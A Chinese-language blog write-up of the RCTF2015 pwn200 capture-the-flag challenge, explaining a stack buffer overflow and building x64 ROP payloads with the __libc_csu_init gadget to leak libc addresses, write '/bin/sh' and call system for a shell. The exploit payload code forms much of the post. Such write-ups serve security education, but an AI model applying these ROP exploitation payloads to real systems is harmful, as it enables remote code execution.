您的位置:首页 > 博客中心 > 互联网 >

RCTF2015 pwn试题分析

时间:2022-04-29 04:15

pwn200

漏洞给的很明显,先是读到了main的局部数组中,然后在子函数中向子函数的局部数组栈里复制。

总体思路是leak system的地址,然后再向一个固定地址写入/bin/sh,最后执行system函数

leak使用pwn库的DynELF实现,整体使用rop链。

 1 //ida伪代码
 2 int __fastcall echo(__int64 a1)
 3 {
 4   char s2[16]; // [sp+10h] [bp-10h]@2
 5 
 6   for ( i = 0; *(_BYTE *)(i + a1); ++i )
 7     s2[i] = *(_BYTE *)(i + a1);
 8   s2[i] = 0;
 9   if ( !strcmp("ROIS", s2) )
10   {
11     printf("RCTF{Welcome}", s2);
12     puts(" is not flag");
13   }
14   return printf("%s", s2);
15 }

这里是把数据复制过来,但是他的判断条件是byte!=‘\x00‘,就是说如果有‘\x00‘就会停止复制。

这个就很蛋疼,因为肯定会有00啊。00这个是无法避免的。

先说一下,这道题是x64环境+nx保护。就是说可以用通用gadget来实现rop的。

如果不考虑那个截断的事情的话exp是这样的,

exp=‘A‘*24

exp+=p64(0x40089A) # __libc_csu_init中的通用gadget,pop6ret

exp+=p64(0) #令pop rbx为0,使得call正确执行

exp+=p64(1) #令pop rbp为1,为了cmp比较能得到相等的结果

exp+=p64(write@got) #pop r12 这个决定了之后call的内容,为啥用got表,因为plt里面是指令啊,不能取的。

exp+=p64(8) #pop r13 3号参数了

exp+=p64(leak adress)#pop r14 2号参数了

exp+=p64(1)#pop r15 1号参数了    

exp+=p64(0x0400880)#这个就跳去执行call了

exp+=‘A‘ * 56 #这是共抬了56个字节的栈

exp+=p64(0x4007cd) #从头开始了

 

上面那个就是正常的利用__libc_csu_init的通用跳板进行rop的方法。我们看一下这样行不行?明显不行会断在exp+=p64(0)这里。但是由于main栈里也有,就再构造一个pop4ret去读main的栈了。

这样就可以成功的不受‘\x00‘限制了。不过我觉得这个应该是设计的比较好,因为如果距离不是32字节是96字节怎么办?不会有pop12ret吧?

 

接下来的任务就是构造rop链,实现写入/bin/sh和执行sysem了,这时假设我们已经leak出system的地址了。

 

exp=‘A‘*24

exp+=p64(0x40089A) # __libc_csu_init中的通用gadget,pop6ret

exp+=p64(0) #令pop rbx为0,使得call正确执行

exp+=p64(1) #令pop rbp为1,为了cmp比较能得到相等的结果

exp+=p64(system) #pop r12 这个决定了之后call的内容,为啥用got表,因为plt里面是指令啊,不能取的。

exp+=p64(8) #pop r13 3号参数了

exp+=p64(save adress)#pop r14 2号参数了

exp+=p64(1)#pop r15 1号参数了    

exp+=p64(0x0400880)#这个就跳去执行call了

exp+=‘A‘ * 56 #这是共抬了56个字节的栈

exp+=p64(0x4007cd)# 可见套路都是一样的

 

注意要把leak 出来的system写到一个可知的地址才可以使用。

最后再来一遍

 

exp=‘A‘*24

exp+=p64(0x40089A) # __libc_csu_init中的通用gadget,pop6ret

exp+=p64(0) #令pop rbx为0,使得call正确执行

exp+=p64(1) #令pop rbp为1,为了cmp比较能得到相等的结果

exp+=p64(save adress) #pop r12 这个决定了之后call的内容,为啥用got表,因为plt里面是指令啊,不能取的。

exp+=p64(0) #pop r13 3号参数了

exp+=p64(0)#pop r14 2号参数了

exp+=p64(save adress+8)#pop r15 1号参数了    

exp+=p64(0x0400880)#这个就跳去执行call了

exp+=‘A‘ * 56 #这是共抬了56个字节的栈

exp+=p64(0x4007cd)# 可见套路都是一样的

本类排行

今日推荐

热门手游